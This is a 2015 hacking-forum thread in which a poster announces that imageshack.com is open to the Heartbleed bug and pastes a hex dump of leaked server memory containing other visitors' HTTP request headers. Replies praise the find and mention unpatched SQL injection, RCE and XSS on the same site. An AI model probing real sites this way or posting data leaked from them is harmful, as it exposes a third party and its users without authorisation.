

Forum:[Hack Forums](#)

Thread: [\(Heart Bleed\) Imageshack.com :\)](#)

Key Punch - April 14, 2015, 6:56 am

imageshack.com is vulnerable to openssl heartbleed exploit on port 443.

```
Code 02 40 00 00 00 00 01 47 45 54 20 2f 76 32 5f .@.....GET /v2_
63 73 73 2f 70 72 6f 64 2f 61 70 70 2d 66 69 72 css/prod/app-fir
65 66 6f 78 2e 6d 69 6e 2e 63 73 73 3f 76 3d 39 efox.min.css?v=9
2e 34 2e 32 30 20 48 54 54 50 2f 31 2e 31 0d 0a .4.20 HTTP/1.1..
48 6f 73 74 3a 20 69 6d 61 67 65 73 68 61 63 6b Host: imageshack
2e 63 6f 6d 0d 0a 55 73 65 72 2d 41 67 65 6e 74 .com..User-Agent
3a 20 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 : Mozilla/5.0 (W
69 6e 64 6f 77 73 20 4e 54 20 36 2e 33 3b 20 57 indows NT 6.3; W
4f 57 36 34 3b 20 72 76 3a 33 37 2e 30 29 20 47 OW64; rv:37.0) G
65 63 6b 6f 2f 32 30 31 30 30 31 30 31 20 46 69 ecko/20100101 Fi
72 65 66 6f 78 2f 33 37 2e 30 0d 0a 41 63 63 65 refox/37.0..Acce
70 74 3a 20 74 65 78 74 2f 63 73 73 2c 2a 2f 2a pt: text/css,/*
3b 71 3d 30 2e 31 0d 0a 41 63 63 65 70 74 2d 4c ;q=0.1..Accept-L
61 6e 67 75 61 67 65 3a 20 64 65 2c 65 6e 2d 55 anguage: de,en-U
53 3b 71 3d 30 2e 37 2c 65 6e 3b 71 3d 30 2e 33 S;q=0.7,en;q=0.3
0d 0a 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e ..Accept-Encodin
67 3a 20 67 7a 69 70 2c 20 64 65 66 6c 61 74 65 g: gzip, deflate
0d 0a 52 65 66 65 72 65 72 3a 20 68 74 74 70 73 ..Referer: https
3a 2f 2f 69 6d 61 67 65 73 68 61 63 6b 2e 63 6f ://imageshack.co
6d 2f 61 2f 34 55 6f 62 2f 31 0d 0a 43 6f 6e 6e m/a/4Uob/1..Conn
65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 ection: keep-ali
76 65 0d 0a 0d 0a 10 a0 f4 53 03 b1 8d 47 8e 48 ve.....S...G.H
d3 a6 f0 d1 ea 1a 67 65 73 2f 34 0d 0a 41 63 63 .....ges/4..Acc
65 70 74 2d 4c 61 6e 67 75 61 67 65 3a 20 6e 6c ept-Language: nl
2d 4e 4c 0d 0a 41 63 63 65 70 74 2d 45 6e 63 6f -NL..Accept-Enco
64 69 6e 67 3a 20 67 7a 69 70 2c 20 64 65 66 6c ding: gzip, defl
61 74 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a ate..User-Agent:
20 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 Mozilla/5.0 (Wi
6e 64 6f 77 73 20 4e 54 20 36 2e 31 3b 20 57 4f ndows NT 6.1; WO
57 36 34 3b 20 54 72 69 64 65 6e 74 2f 37 2e 30 W64; Trident/7.0
3b 20 72 76 3a 31 31 2e 30 29 20 6c 69 6b 65 20 ; rv:11.0) like
47 65 63 6b 6f 0d 0a 48 6f 73 74 3a 20 69 6d 61
```

FocalBanger - April 14, 2015, 12:23 pm

Wow you're right. I'm amazed they haven't patched that after all this time.

EXPLICIT CONTENT - April 15, 2015, 2:34 am

They always seem to lack of security, wasn't there also an RCE and multiple XSS vulnerabilites found which were public for months ?

???? - April 15, 2015, 5:35 pm

Wow, would expect better security from a site like itself..

Orianthi - April 15, 2015, 5:55 pm

What did you do wireshark the site?

Gee4rce - April 17, 2015, 7:01 am

Nice find there mate!

Cheers, Gee.

benison321 - April 18, 2015, 4:22 am

Nice finding mate... Keep it up!!!!

Viktory - April 18, 2015, 5:11 am

Appears to be fixed by online heartbleed vuln testers.

QaTaRi_RuLeZ - April 19, 2015, 2:25 pm

Nice Find :)

Keep Goin Bro :D

hahdbwoannniabs - April 19, 2015, 9:45 pm

There's also a ton of SQLi vulnerabilities sitting there untouched.

N0c7urn - April 20, 2015, 2:52 am

Alot of these pop-up image sharing sites seem to have massive vulnerabilities